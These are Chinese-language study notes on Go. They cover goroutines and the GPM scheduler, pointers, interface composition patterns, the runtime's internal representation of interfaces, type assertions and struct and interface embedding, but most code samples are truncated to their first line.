可以看到,App1 这个应用内部划分了多个模块,每一个模块内对应一个进程,每一个模块都是一个单独的代码执行流。
但是受限于单核 CPU,这些进程依旧只能并发运行,也就是轮流被单个CPU 服务。
这样看起来,多进程应用与单进程应用相比,似乎并没有什么质的提升,那为什么还要将应用设计成多进程?
这是因为,更多的是从应用的结构角度去考虑的,多进程应用将功能职责进行了划分(模块 1 对应 进程 1、模块2 对应进程 2 ),从结构上来看,要比单进程更为清晰简洁,可读性与可维护性也更好。
这种将程序分成多个可独立执行的部分的结构化程序的设计方法,就是并发设计。采用了并发设计的应用也可以看成是一组独立执行的模块的组合。
不过,进程并不适合用于承载并发设计的应用的模块执行流。因为进程是操作系统中资源拥有的基本单位,它不仅包含应用的代码和数据,还有系统级的资源,比如文件描述符、内存地址空间等等。进程的“包袱”太重,这导致它的创建、切换与撤销的代价都很大。
于是线程便诞生了。
可以把线程理解为“轻量级进程”。
引入线程之后,线程就成了操作系统能够进行运算调度的最小单位。
一个进程至少会包含一个线程,如果一个进程只包含一个线程,那么它里面的所有代码都只会被串行地执行。每个进程的第一个线程都会随着该进程的启动而被创建,它们可以被称为其所属进程的主线程。
如果一个进程中包含了多个线程,那么其中的代码就可以被并发地执行。除了进程的第一个线程之外,其他的线程都是由进程中已存在的线程创建出来的。
同时随着多核 CPU 的普及,让真正的并行成为了可能,于是主流的应用设计模型变成了这样:
可以看到,基于线程的应用通常采用的是单进程多线程的模型,一个应用对应一个进程,应用通过并发设计将自己划分为多个模块,每个模块由一个线程独立承载执行。多个线程共享这个进程所拥有的资源,此时,作为执行单元被 CPU 处理就由进程变成了线程。
线程的创建、切换与撤销的代价相对于进程是要小得多。当这个应用的多个线程同时被调度到不同的处理器核上执行时,就说这个应用是并行的。
讲到这里,可以对并发与并行两个概念做一些区分了。就像 Go 语言之父 Rob Pike 曾说过那样:并发不是并行,并发关乎结构,并行关乎执行。
Go 并没有使用操作系统线程作为承载分解后的代码片段(模块)的基本执行单元,而是实现了goroutine 这一由 Go 运行时(runtime)负责调度的、轻量的用户级线程,为并发程序设计提供原生支持。
相比传统操作系统线程来说,goroutine 的优势主要是:
和传统编程语言不同的是,Go 语言是面向并发而生的,所以,在程序的结构设计阶段,Go 的惯例是优先考虑并发设计。这样做的目的更多是考虑随着外界环境的变化,通过并发设计的 Go 应用可以更好地、更自然地适应规模化。
提到“调度”,首先想到的就是操作系统对进程、线程的调度。操作系统调度器会将系统中的多个线程按照一定算法调度到物理 CPU 上去运行。
传统的编程语言,比如 C、C++ 等的并发实现,多是基于线程模型的,也就是应用程序负责创建线程,操作系统负责调度线程。
但是这种传统的并发方式,有很多不足,为了解决这些问题,Go 语言中的并发实现,使用了 Goroutine,代替了操作系统的线程,也不再依靠操作系统调度。
Goroutine 调度的切换不用陷入操作系统的内核层完成,开销很低,因此一个 Go 程序可以创建成千上万个并发的 Goroutine。
而将这些 Goroutine 按照一定算法放到 “CPU” 上执行的程序,则被成为 Goroutine 调度器,注意,这里的“CPU” 是打引号的,并不是真正意义上的 CPU。
一个 Go 程序对于操作系统来说只是一个用户层程序,操作系统眼中只有线程,它甚至不知道有 Goroutine 的存在。所以 Goroutine 的调度全要靠 Go 自己完成。
那么,实现 Go 程序内 Goroutine 之间“公平”竞争“CPU”资源的任务,就落到了 Go 运行时(runtime)头上了。要知道在一个 Go 程序中,除了用户层代码,剩下的就是 Go 运行时了。
于是,Goroutine 的调度问题就演变为,Go 运行时如何将程序内的众多 Goroutine,按照一定算法调度到“CPU”资源上运行的问题了。
在操作系统层面,线程竞争的“CPU”资源是真实的物理 CPU,而 Go 程序层面,各个 Goroutine 要竞争的“CPU” 资源到底是什么?
前面说过,Go 程序是用户层程序,它本身就是整体运行在一个或者多个操作系统线程上的。所以,Goroutine 要竞争的“CPU” 资源其实就是操作系统线程。
因此,Goroutine 调度器的任务也就明确了,将 Goroutine 按照一定算法放到不同的操作系统线程中去执行。
Goroutine 调度器目前使用的是 GPM 模型,它由三部分组成:
操作系统会在物理处理器上调度线程来运行,而 Go 语言的运行时会在逻辑处理器上调度 Goroutine 来运行。
G、P、M 三者的调度过程如下:
下面是一个Goroutine 调度原理图,可以从全局进一步看到 G、P、M 三者之间的关系:
Go 语言通过 go 关键字 + 函数/方法的方式“创建”一个 goroutine。
1 | package main |
运行上面的示例代码,可能会发现,什么都打印出来,这是怎么回事呢?
与一个进程总会有一个主线程类似,每一个独立的 Go 程序在运行时也总会有一个主 goroutine(main goroutine)。这个main goroutine 会在 Go 程序的运行准备工作完成后被自动地启用,并不需要做任何手动的操作。
每个 goroutine 一般都会携带一个函数调用,这个被调用的函数常常被称为go 函数。而main goroutine 的go函数就是那个作为程序入口的 main 函数。
这里一定要注意:go 函数真正被执行的时间,总会与其所属的 go 语句被执行的时间不同。
当程序执行到一条 go 语句时,Go 语言运行时,会先试图从某个空闲的 G 的队列中获取一个 G(也就是 goroutine),它只有在找不到空闲 G 的情况下才会去创建一个新的 G。
这也是前面的“创建”打引号的原因,因为已存在的 goroutine 总是会被优先复用。
在拿到一个空闲的 G 之后,Go 语言运行时,会用这个 G 去包装当前的那个 go 函数(或者说该函数中的那些代码),然后再把这个 G 追加到某个存放可运行的 G 的队列中。
这类队列中的 G 总是按照先入先出的顺序,被 Groutine 调度器安排运行。
因此,go 函数的执行时间总是会明显滞后于它所属的go 语句的执行时间。这里所说的“明显滞后”是对于计算机的 CPU 时钟和 Go 程序来说的。我们在大多数时候都不会有明显的感觉。
还有一个与 main goroutine 有关的特性,一旦main goroutine 退出了,那么也意味着整个应用程序的退出。
再次回到上面示例代码没有打印出结果的这个问题,这是因为
关键字 go 并非直接执行并发操作,而是“创建”一个 goroutine(并发任务单元)。新创建的 goroutine 被放置在队列中,等待调度器安排合适系统线程去获取执行权。该过程不会阻塞,因此不会等待该任务启动,而是继续执行后边的语句,如果直至 main goroutine 退出时,还有 goroutine 未得到执行,那么它们中的代码也不会被执行了,因为整个程序也要退出了, 所以没有任何内容打印出来。
Go 语言并不会保证 goroutine 会以怎样的顺序运行,由于main goroutine 会与手动使用 go 关键字创建的 goroutine 一起接受调度,调度器可能会在 goroutine 中代码执行一部分时暂停,因此,哪个 gorotuine 先执行完,哪个后执行完,往往是不可预知的。除非使用Go 语言提供的方式进行人为干预。
下面会简单介绍一下。
因为一旦 main goroutine 执行完成,当前 Go 程序就会结束运行,无论其他的 goroutine 是否已经在运行中,那么,有没有什么办法可以让其他的 goroutine 先执行完成之后,再让main goroutine 执行呢?
有很多办法可以做到,这里先用最简单粗暴的方式感受一下:
1 | func main() { |
运行示例代码,输出一下结果:
1 | 10 |
其原理就是在 for 语句的后面,调用 time.Sleep
函数,让 main goroutine 延迟 500ms 结束。
这里延迟 500ms,足够其他的 goroutine 被调度器调度了,因此便可以看到打印结果。
这个办法虽然可行,但是 Sleep 的时间设置多久才合适呢?500ms、200ms、100ms?设置太短了,可能还没有打印就结束了,设置太长了,完全又浪费时间。
既然不好预估时间,那么能否让其他的 goroutine 在运行完成时通知一下呢?
这个思路是对的,使用Go 的 channel 就可以实现(后面的笔记会详细介绍 channel),这里有个印象就好。
1 | package main |
运行示例代码,输出一下结果:
1 | 0 |
从输出结果可以看到,确实也能正常打印出来,而且没有“延迟”,打印完成,程序正好结束。
但是为什么这里输出的值不是顺序的呢?
其实这也是前面提到过的 goroutine 的执行规则所导致的。
创建 goroutine 是需要时间的,for 语句执行并不会停下来等待一个 goroutine 创建完成之后再开始下一次遍历。
因为这种异步并发执行的特性,10 个 goroutine 全部被创建完成之后,在队列中的顺序可能有 N 中组合,所以最后通过另一个 for 语句,依次从 channel 取出打印时,i 的值绝大多数情况下不是顺序的。
可以结合下图进行理解:
还有比 channel 更好的方式可以实现,比如 sync.WaitGroup
,这里先不过多介绍,在后面的笔记中再详细讲解。
一个变量在内存中,可以分为两部分:编址(变量的地址)和具体的值。
在概念上,Go 语言的指针和 C 语言一样,当一个变量的值存储的值是其他变量的地址,那么它就是一个指针变量。
所以也可以说指针的本质就是地址。
前面提到过,因为 Go 语言的指针不能进行偏移和运算,因此指针的使用场景就只有传递了,只需要记住两个操作符即可:
&
:取址符,也称为引用,通过该操作符可以获取一个变量的地址值。*
:取值符,也称为解引用,通过该操作符可以获取一个地址对应的值。每个变量在内存中都有一个属于自己的地址,不同类型的数据,都可以拥有自己的指针,比如:
int
=> *int
,也叫整型指针string
=> *string
,也叫字符串指针struct
=> *struct
,也叫结构体指针无论是什么类型,占用的内存都一样(32位4个字节, 64位8个字节)。
按照惯例先来看一段示例代码:
1 | func main() { |
执行示例代码,输出以下结果:
1 | x: 10, ptr: 0xc0000b2008, T: int |
在上面的示例代码中,变量 x 通过取址符,获取到自己的编址并赋值给变量 p,因此变量 p 就是一个指针变量,其类型为整型,也可以说变量 p 就是一个整型指针。
因为变量 p 是一个指针变量,所以它也拥有自己的地址,而它的值则是变量 x 的地址。
下面用一张图来解释它们之间的关系:
&
符号的作用是获取变量的地址,*
符号的作用是通过变量的地址获取对应的值。
指针传递的场景还包括作为函数参数和返回值,下面一一来看下,这两种场景下,都有哪些特点。
1 | type T struct { |
运行上面的示例代码,会发现编译失败了:
cannot use t1 (variable of type T) as type *T in argument to F
因为函数 F 接收一个指针作为参数,但是传进去的 t1 并不是一个结构体指针,而是一个结构体,类型不一致,所以导致编译失败。
要解决这个问题很简单,只需要保证形参和实参的类型一致即可,使用 &
取址符将 t1 的地址作为参数传入:
1 | F(&t1) |
再次运行示例代码:
1 | 0 |
总结:
在方法的 receiver 参数这篇笔记中,当时遇到了一个 Go编译器做指针自动转换的场景,有了上面的基础做铺垫就不难理解了。
1 | type T struct { |
t1 作为一个结构体(非指针),理论上是不能直接调用 receiver 参数类型 *T
(指针)的 M2,Go 编译器在背后做了自动转换,使用 &
取址符将t1 变成了结构体指针,也就是 (&t1).M2()
。
同理,t2 作为一个结构体指针(指针),理论上是不能直接调用 receiver 参数类型 T
(非指针)的 M1,同样是Go 编译器在背后做了自动转换,使用 *
取值符将t2 变成了结构体,也就是 (*t2).M1()
。
这篇笔记来学习一下,如何使用接口,不过,这里的“如何使用”,指的是学习如何利用接口进行应用设计,换句话说就是Go 接口的应用模式或惯例。
在实际真正需要的时候才对程序进行抽象。不要为了抽象而抽象。
组合是 Go 语言的重要设计哲学之一,而正交性则为组合哲学的落地提供了更为方便的条件。
正交(Orthogonality)是从几何学中借用的术语,说的是如果两条线以直角相交,那么这两条线就是正交的。
编程语言的语法元素间和语言特性也存在着正交的情况,并且通过将这些正交的特性组合起来,可以实现更为高级的特性。
在语言设计层面,Go 语言就为广大 Gopher 提供了诸多正交的语法元素供后续组合使用,包括:
在这些正交语法元素中,接口作为 Go 语言提供的具有天然正交性的语法元素,在 Go 程序的静态结构搭建与耦合设计中扮演着至关重要的角色。而要想知道接口究竟扮演什么角色,我们就先要了解组合的方式。
构建 Go 应用程序的静态骨架结构有两种主要的组合方式,如下图所示:
下面分别介绍垂直组合和水平组合。
垂直组合更多用在将多个类型,通过类型嵌入的方式实现新类型的定义。
传统面向对象变成语言大多是通过继承的方式构建出自己的类型体系,但 Go 语言并没有类型体系的概念。
Go 语言通过类型的组合而不是继承让单一类型承载更多的功能。
因为不是继承,也就没有了面向对象中的“父子关系”的概念了,也没有向上、向下转型(Type Casting),被嵌入的类型也不知道将其嵌入的外部类型的存在。调用方法时,方法的匹配取决于方法名字,而不是类型。
在接口中嵌入接口,实现接口行为聚合,组成大接口。这种方式在标准库中非常常见,也是 Go 接口类型定义的惯例。
比如标准库中的 ReadWriter 接口类型的定义:
1 | // $GOROOT/src/io/io.go |
在结构体类型中嵌入接口:
1 | type MyReader struct { |
在结构体中嵌入接口,会包含嵌入的接口类型的方法集合,可以用于快速构建满足某一个接口的结构体类型。
在结构体中嵌入接口类型名和在结构体中嵌入其他结构体,都是“委派模式(delegate)”的一种应用。
1 | type MyInt int |
结构体实例 s 本身没有定义 Add 方法,于是会查看 S 的嵌入字段对应的类型是否定义了 Read 方法,找到之后,s.Add
的调用就被转换为 s.MyInt.Add
调用。
水平组合就是通过接口将各个垂直组合出的类型“耦合”在一起。
通过接口进行水平组合的基本模式就是:使用接受接口类型参数的函数或方法。
在这个基本模式基础上,还有几种“衍生品”,下面一一介绍。
接受接口类型参数的函数或方法是水平组合的基本语法,形式是这样的:
1 | func YourFuncName(param YourInterfaceType) |
套用骨架关节的概念,用这幅图来表示上面基本模式语法的运用方法:
函数 / 方法参数中的接口类型作为“连接点”,支持将位于多个包中的多个类型与 YourFuncName 函数连接到一起,共同实现某一新特性。
Go 社区流传一个经验法则:“接受接口,返回结构体(Accept interfaces, return structs)”,这其实就是一种把接口作为“连接点”的应用模式。
下面是 Go 标准库中,运用创建模式创建结构体实例的例子:
1 | // $GOROOT/src/sync/cond.go |
以上面 log 包的 New 函数为例,这个函数用于实例化一个 log.Logger 实例,它接受一个 io.Writer 接口类型的参数,返回 *log.Logger。从 New 的实现上来看,传入的 out 参数被作为初值赋值给了 log.Logger 结构体字段 out。
创建模式通过接口,在 NewXXX 函数所在包与接口的实现者所在包之间建立了一个连接。
大多数包含接口类型字段的结构体的实例化,都可以使用创建模式实现。
1 | // $GOROOT/src/io/io.go |
Go 编译器通过解析这个接口定义,得到接口的名字信息以及它的方法信息,在为这个接口类型参数赋值时,编译器就会根据这些信息对实参进行检查。
可是,如果函数或方法的参数类型为空接口interface{}
,编译器无法得知实参的任何信息,因此只有到运行时才能发现错误。
interface{}
接口的静态特性体现在接口类型变量具有静态类型。\
拥有静态类型意味着编译器会在编译阶段对所有接口类型变量的赋值操作进行类型检查,编译器会检查右值的类型是否实现了该接口方法集合的所有方法,如果没有实现,则会编译失败。而不是等到运行时才会检查。
1 | var err error = 1 // cannot use 1 (type int) as type error in assignment: int does not implement error (missing Error method) |
接口的动态体现在接口类型变量在运行时还存储了右值的真实类型信息,这个右值的真实类型信息被称为接口类型变量的动态类型。
1 | var err error |
从上面的示例代码中可以看到,err 接口类型变量是 errors.New
构造的一个错误值,借助 fmt.Printf
函数输出了接口类型变量的动态类型是 *errors.errorString
。
接口类型变量在程序运行时,可以被赋值为不同的动态类型变量,每次赋值后,接口类型变量中存储的动态类型信息都会发生变化,这让 Go 语言可以像动态语言(Python)那样拥有鸭子类型(Duck Typing)的灵活性。
什么是鸭子类型?
就是指某类型所表现出的特性(比如是否可以作为某接口类型的右值),不是由其基因(比如 C++ 中的父类)决定的,而是由类型所表现出来的行为(比如类型拥有的方法)决定的。
比如下面的例子:
1 | type QuackableAnimal interface { |
在这个示例中,使用接口类型 QuackableAnimal
来代表具有“会叫”(Quack()
方法)这一特征的动物,而 Duck、Bird 和 Dog 类型各自都具有这样的特征,
这里的 Duck、Bird、Dod 都是“鸭子类型”,它们之间并没有什么联系,之所以能作为右值赋值给 QuackableAnimal 类型变量,只是因为他们表现出了 QuackableAnimal 所要求的特征罢了,也就是拥有 Quack()
方法,而不需要严格的继承体系。
与动态语言不同的是,Go 接口还可以保证“动态特性”使用时的安全性。比如,编译器在编译期就可以捕捉到将 int 类型变量传给 QuackableAnimal 接口类型变量这样的明显错误,决不会让这样的错误遗漏到运行时才被发现。
接下来通过一个问题来更深入认识一下动静特性。
1 | type MyError struct { |
在这个示例中,程序的运行逻辑很清晰,调用 returnsError 函数返回指针变量 p,值为 nil,然后比较 err 变量是否等于 nil,最后输出结果。
运行一下示例代码,看看结果是否和预期一致:
1 | error occur: <nil> |
可以看到,并没有输出预期的 ok,这是怎么回事呢?要搞清楚这个问题,需要进一步了解接口类型变量的内部表示。
接口类型“动静兼备”的特性也决定了它的变量的内部表示绝不像一个静态类型变量(如 int、float64)那样简单。
在Go 的源码中可以找到接口类型变量在运行时的表示:
1 | // $GOROOT/src/runtime/runtime2.go |
可以看到,在运行时层面,接口类型变量有两种内部表示:iface
和 eface
,这两种表示分别用于不同的接口类型变量:
interface{}
类型的变量它们的共同点是都拥有两个指针字段,并且功能相同,都是指向当前赋值给该接口类型变量的动态类型变量的值。
不同点在于,eface 表示空接口类型,并没有方法列表,
因此它的第一个指针字段指向一个 _type
类型结构,这个接口为该接口类型变量的动态类型信息,定义是这样的:
1 | // $GOROOT/src/runtime/type.go |
而 iface 除了要存储动态类型信息之外,还有存储接口本身的信息(接口的类型信息、方法列表信息等)以及动态类型所实现的方法的信息,因此 iface 的第一个字段指向一个itab类型结构。itab 结构的定义如下:
1 | // $GOROOT/src/runtime/runtime2.go |
核心字段如下:
其中 interfacetype 结构的定义如下:
1 | // $GOROOT/src/runtime/type.go |
为了更好地理解 eface 与 iface 在内存的表示,下面分别
1 | type T struct { |
该示例代码中的空接口类型变量 ei 在内存中的表示 如下图所示:
可以看到空接口类型的表示较为简单:
1 | type T struct { |
和 eface 比起来,iface 的表示稍微复杂些,下图是 接口类型变量i 在内存中的表示:
虽然 eface 和 iface 的第一个字段有所差别,但 tab 和 _type 可以统一看作是动态类型信息。Go 语言中每种类型都会有唯一的 _type 信息,无论是内置原生类型,还是自定义类型都有。Go 运行时会为程序内的全部类型建立只读的共享 _type 信息表,因此拥有相同动态类型的同类接口类型变量的 _type/tab 信息是相同的。
接口类型变量的 data 部分则是指向一个动态分配的内存空间,这个内存空间存储的是赋值给接口类型变量的动态类型变量的值。
未显式初始化的接口类型变量的值为 nil,也就是这个变量的 _type/tab 和 data 都为 nil。
也就是说,判断两个接口类型变量是否相同,只需要判断 _type/tab 是否相同,以及 data 指针指向的内存空间所存储的数据值是否相同就可以了。
注意 🚧,这里不是 data 指针的值相同。
未赋初值的接口类型变量的值为 nil,这类变量也就是 nil 接口变量,下面来看一下内存中表示输出的例子:
1 | func printNilInterface() { |
运行上面的示例代码,输出如下:
1 | (0x0,0x0) |
可以看到,无论是空接口类型变量还是非空接口类型变量,一旦变量值为 nil,那么它们内部表示均为(0x0,0x0)
,也就是类型信息、数据值信息均为空。因此上面的变量 i 和 err 等值判断为 true。
下面是空接口类型变量的内部表示输出的例子:
1 | func printEmptyInterface() { |
运行上面的示例代码,输出如下:
1 | eif1: (0x10ac580,0xc00007ef48) |
示例代码的逻辑很清晰:
结论:对于空接口类型变量,只有 _type 和 data 所指数据内容一致的情况下,两个空接口类型变量之间才能划等号。
1 | type T int |
运行上面的示例代码,输出如下:
1 | eif1: (0x10ac580,0xc00007ef48) |
看到上面示例中每一轮通过 println 输出的 err1 和 err2 的 tab 和 data 值,要么 data 值不同,要么 tab 与 data 值都不同。
和空接口类型变量一样,只有 tab 和 data 指的数据内容一致的情况下,两个非空接口类型变量之间才能划等号。
这里我们要注意 err1 下面的赋值情况:
1 | err1 = (*T)(nil) |
针对这种赋值,println 输出的 err1 是(0x10ed120, 0x0),也就是非空接口类型变量的类型信息并不为空,数据指针为空,因此它与 nil(0x0,0x0)之间不能划等号。
现在我们再回到我们开头的那个问题,你是不是已经豁然开朗了呢?开头的问题中,从 returnsError 返回的 error 接口类型变量 err 的数据指针虽然为空,但它的类型信息(iface.tab)并不为空,而是 *MyError 对应的类型信息,这样 err 与 nil(0x0,0x0)相比自然不相等,这就是我们开头那个问题的答案解析,现在你明白了吗?
现在再回头看上面那个问题,是不是清晰很多了。
因为 returnsError 返回的 error 接口类型变量 err 的数据指针虽然为空,但它的类型信息(iface.data) 并不为空,而是 *MyError
对应的类型信息,因此 err 与 nil 并不相等。
1 | func printEmptyInterfaceAndNonEmptyInterface() { |
运行上面的示例代码,输出如下:
1 | eif: (0x1093500,0x10c0808) |
可以看到,虽然空接口类型变量(eface(_type, data))和非空接口类型变量(iface(tab, data))内部表示的结构不一样,但Go 在进行等值比较时,类型比较用的是 eface._type 和 eface.tab._type,因此在这个例子中,eif 和 err 都是T(5) 时,两者是相等的。
下面就正式进入接口的学习了。
接口类型是由 type 和 interface 关键字定义的一组方法集合,其中,方法集合唯一确定了这个接口类型所表示的接口。
下面是一个典型的接口类型定义:
1 | type MyInterface interface { |
通过这个定义,可以看到,接口类型 MyInterface 所表示的接口的方法集合,包含两个方法 M1 和 M2。之所以称 M1 和 M2 为“方法”,更多是从这个接口的实现者的角度考虑的。
接口类型的方法集合中声明的方法,它的参数列表不需要写出形参名字,返回值列表也是如此。
Go 语言要求接口类型声明中的方法必须是具名的,并且方法名字在这个接口类型的方法集合中是唯一的。
Go 接口类型允许嵌入的不同接口类型的方法集合存在交集,但前提是交集中的方法不仅名字要一样,它的函数签名部分也要保持一致,也就是参数列表与返回值列表也要相同,否则 Go 编译器照样会报错。
1 | type Interface1 interface { |
接口类型定义中也可以声明首字母小写的非导出方法,不过,在日常的编码过程中,较少使用这种非导出方法的接口类型。
如果一个接口类型定义中没有一个方法,那么它的方法集合就为空:
1 | type EmptyInterface interface { |
这个方法集合为空的接口类型就被称为空接口类型。
但是通常不需要自己显示定义这类空接口类型,可以直接使用 interface{}
这个类型字面值作为所有空接口类型的代表就可以了。
接口类型一旦被定义后,它就和其他 Go 类型一样可以用于声明变量,比如:
1 | var err error // err是一个error接口类型的实例变量 |
这些类型为接口类型的变量被称为接口类型变量,如果没有被显式赋予初值,接口类型变量的默认值为 nil。
如果要为接口类型变量显式赋予初值,我们就要为接口类型变量选择合法的右值。
如果一个变量的类型是空接口类型,由于空接口类型的方法集合为空,这就意味着任何类型都实现了空接口的方法集合,所以可以将任何类型的值作为右值,赋值给空接口类型的变量
1 | var i interface{} = 15 // ok |
空接口类型的这一可接受任意类型变量值作为右值的特性,让他成为 Go 加入泛型语法之前唯一一种具有“泛型”能力的语法元素,包括 Go 标准库在内的一些通用数据结构与算法的实现,都使用了空类型interface{}作为数据元素的类型,这样我们就无需为每种支持的元素类型单独做一份代码拷贝了。
Go 语言还支持接口类型变量赋值的“逆操作”,也就是通过接口类型变量“还原”它的右值的类型与值信息,这个过程被称为“类型断言(Type Assertion)”。类型断言通常使用下面的语法形式:
1 | v, ok := i.(T) |
如果接口类型变量 i 之前被赋予的值确为 T 类型的值,那么这个语句执行后,左侧“comma, ok”语句中的变量 ok 的值将为 true,变量 v 的类型为 T,它值会是之前变量 i 的右值。
如果 i 之前被赋予的值不是 T 类型的值,那么这个语句执行后,变量 ok 的值为 false,变量 v 的类型还是那个要还原的类型,但它的值是类型 T 的零值。
类型断言也支持下面这种语法形式:
1 | v := i.(T) |
但是在这种语法形式下,如果接口变量i 之前被赋予的值不是 T 类型的值,那么这个语句将抛出 panic。
因为可能会出现 panic,所以并不推荐使用这种语法形式。
下面用一段示例代码来加深一下理解:
1 | var a int64 = 13 |
运行示例代码,输出如下:
1 | v1=13, the type of v1 is int64, ok=true |
在这段代码中,如果 v, ok := i.(T)
中的 T 是一个接口类型,那么类型断言的语义就会变成:断言 i 的值实现了接口类型 T。如果断言成功,变量 v 的类型为 i 的值的类型,而并非接口类型 T。如果断言失败,v 的类型信息为接口类型 T,它的值为 nil,下面再来看一个 T 为接口类型的示例:
1 | type MyInterface interface { |
可以看到,通过the type of v2 is <nil>
,其实是看不出断言失败后的变量 v2 的类型的,但通过最后一行代码的编译器错误提示,我们能清晰地看到 v2 的类型信息为 MyInterface。
而 Go 选择了去繁就简的形式,这主要体现在以下两点上:
Go 语言中接口类型与它的实现者之间的关系是隐式的,不需要像其他语言(比如 Java)那样要求实现者显式放置“implements”进行修饰,实现者只需要实现接口方法集合中的全部方法便算是遵守了契约,并立即生效了。
如果契约太繁杂了就会束缚了手脚,缺少了灵活性,抑制了表现力。所以 Go 选择了使用“小契约”,表现在代码上就是尽量定义小接口,即方法个数在 1~3 个之间的接口。Go 语言之父 Rob Pike 曾说过的“接口越大,抽象程度越弱”,这也是 Go 社区倾向定义小接口的另外一种表述。
这是一个显而易见的优点。小接口拥有比较少的方法,一般情况下只有一个方法。所以要想满足这一接口,只需要实现一个方法或者少数几个方法就可以了,这显然要比实现拥有较多方法的接口要容易得多。
尤其是在单元测试环节,构建类型去实现只有少量方法的接口要比实现拥有较多方法的接口付出的劳动要少许多。
Go 推崇通过组合的方式构建程序。Go 开发人员一般会尝试通过嵌入其他已有接口类型的方式来构建新接口类型,就像通过嵌入 io.Reader 和 io.Writer 构建 io.ReadWriter 那样。
那构建时,如果有众多候选接口类型供选择,该怎么选择呢?
选择那些新接口类型需要的契约职责,同时也要求不要引入我们不需要的契约职责。在这样的情况下,拥有单一或少数方法的小接口便更有可能成为我们的目标,而那些拥有较多方法的大接口,可能会因引入了诸多不需要的契约职责而被放弃。
由此可见,小接口更契合 Go 的组合思想,也更容易发挥出组合的威力。
什么是类型嵌入?
类型嵌入指的是在一个类型的定义中嵌入了其他类型。Go 语言支持两种类型嵌入,分别是接口类型的类型嵌入和结构体类型的类型嵌入。
接口类型声明了由一个方法集合代表的接口,比如下面接口类型 E:
1 | type E interface { |
这个接口类型 E 的方法集合,包含两个方法,分别是 M1 和 M2,它们组成了 E 这个接口类型所代表的接口。
如果某个类型实现了方法 M1 和 M2,就可以说这个类型实现了 E 所代表的接口。
此时,再定义另外一个接口类型 I,它的方法集合中包含了三个方法M1、M2、和 M3:
1 | type I interface { |
接口类型 I 的方法集合中定义的 M1、M2 和接口类型 E 的方法集合中的方法完全相同。
这种情况下,可以直接使用接口类型 E 替代上面接口类型 I 定义的 M1 和 M2:
1 | type I interface { |
像这种在一个接口类型(I)定义中,嵌入另外一个接口类型(E)的方式,就是接口类型的类型嵌入。
而且,这个带有类型嵌入的接口类型 I的定义与上面那个包含 M1、M2、M3 的接口类型 I 的定义,是等价的。
因此可以得出一个结论:接口类型嵌入的语义就是新接口类型(I)将嵌入接口类型(E)的方法集合,并入到自己的方法集合中。
到这里你可能会问,既然都是等价的,那么直接在接口类型定义中平铺方法列表就好了,为啥要使用类型嵌入方式定义接口类型呢?其实这也是 Go 组合设计哲学的一种体现。
按 Go 语言惯例,Go 中的接口类型中只包含少量方法,并且常常只是一个方法。通过在接口类型中嵌入其他接口类型可以实现接口的组合,这也是 Go 语言中基于已有接口类型构建新接口类型的惯用法。
其实在前面的结构体笔记中,有简单用到过结构体类型嵌入,但是没有深入了解,那么接下来了解一下。
1 | type T1 int |
上面的示例代码是一个带有嵌入字段(Embedded Field)的结构体定义。
可以看到,结构体 S1 定义中有三个“非常规形式” 的标识符,分别是 T1、*t2
、和 I,像这种“非常规形式” 的标识符既代表字段的名字,也代表字段的类型:
*t2
:字段名为 t2,类型为自定义结构体类型 t2 的指针类型这种以某个类型名、类型的指针类型名或接口类型名,直接作为结构体字段的方式就叫做结构体的类型嵌入,这些字段也被叫做嵌入字段(Embedded Field)。
嵌入字段具体有什么用呢?它跟普通结构体字段又有什么不同?下面结合一段示例代码来具体说明:
1 | type MyInt int |
在这个示例中,结构体类型 S 使用了类型嵌入方式进行定义,嵌入了三个字段Myint、t、以及 Reader。
第三个嵌入字段的名字为 Reader 而不是 io.Reader 的原因是,Go 语言规定如果结构体使用从其他包导入的类型作为嵌入字段,比如 pkg.T,那么这个嵌入字段的字段名就是 T,代表的类型为 pkg.T。
运行上面的示例代码,输出如下:
1 | hello, go |
这样看起来,使用嵌入字段和普通字段似乎并没有什么差别,输出都是一样的。
将 main 函数中,部分代码替换成下面这部分:
1 | var sl = make([]byte, len("hello, go")) |
这里可能会有疑问,类型 S 又没有定义 Read 方法和 Add 方法,这样写不会编译失败吗?
再次运行示例代码,会发现不但没有编译失败,程序还正常输出了。
之所以没有编译失败,是因为这两个方法就是来自于结构体类型 S 的两个嵌入字段 Reader 和 MyInt。
结构体类型 S“继承”了 Reader 字段的方法 Read 的实现,也“继承”了 *MyInt
的 Add 方法的实现。
这里的”继承“打了引号,并不是真正意义上的继承,只是使用了这一语义。
其原理是通过结构体类型 S 的实例 s 调用 Read 方法时,Go 发现结构体类型 S 自身并没有定义 Read 方法,于是 Go 会查看 S 的嵌入字段对应的类型是否定义了 Read 方法。这个时候,Reader 字段就被找了出来,之后 s.Read
的调用就被转换为 s.Reader.Read
调用。
这种将调用“委派”给该结构体内部嵌入类型的实例去执行,叫做委派模式。
当外界调用新类型的方法时,Go 编译器会首先查找新类型是否实现了这个方法,如果没有,就会将调用委派给其内部实现了这个方法的嵌入类型的实例去执行
Add 方法的调用原理同上。
因此,现在就清楚了嵌入字段的作用,它可以用来实现方法的“继承”。
在前面讲解接口类型的类型嵌入时,我们提到过接口类型的类型嵌入的本质,就是嵌入类型的方法集合并入到新接口类型的方法集合中,并且,接口类型只能嵌入接口类型。而结构体类型对嵌入类型的要求就比较宽泛了,可以是任意自定义类型或接口类型。
下面就分别来看看,在这两种情况下,结构体类型的方法集合会有怎样的变化。
这里借助前面笔记中的 dumpMethodSet 工具函数来输出各个类型的方法集合。
1 | type I interface { |
运行上面的示例代码,输出如下:
1 | main.T's method set: |
可以看到,原本结构体类型 T 只带有一个方法 M3,但在嵌入接口类型 I 后,结构体类型 T 的方法集合中又并入了接口类型 I 的方法集合。
所以,结论就是:结构体类型的方法集合,包含嵌入的接口类型的方法集合。
不过这里需要注意:和前面接口类型中嵌入接口类型,不同的是,结构体类型嵌入接口类型不允许方法集合存在交集。
1 | type E1 interface { |
运行上面的示例代码,会发现编译失败:
1 | main.go:22:3: ambiguous selector t.M1 |
这是因为两个接口类型中都存在 M1 与 M2 方法,在结构体没有实现这两个方法的情况下,编译器无法自己做出选择。
解决方案也很简单:
前面已经了解了,在结构体类型中嵌入结构体类型,
可以作为实现”继承“的手段。
外部的结构体类型 T 可以“继承”嵌入的结构体类型的所有方法的实现。并且,无论是 T
类型的变量实例还是 *T
类型变量实例,都可以调用所有“继承”的方法。
但这种情况下,带有嵌入类型的新类型究竟“继承”了哪些方法,通过下面的示例来看一下:
1 | type T1 struct{} |
上面的示例代码中,各实例的方法集合是不同的:
T1
的方法集合包含:T1M1*T1
的方法集合包含:T1M1、PT1M2T2
的方法集合包含:T2M1*T2
的方法集合包含:T2M1、PT2M2运行示例代码,输出如下:
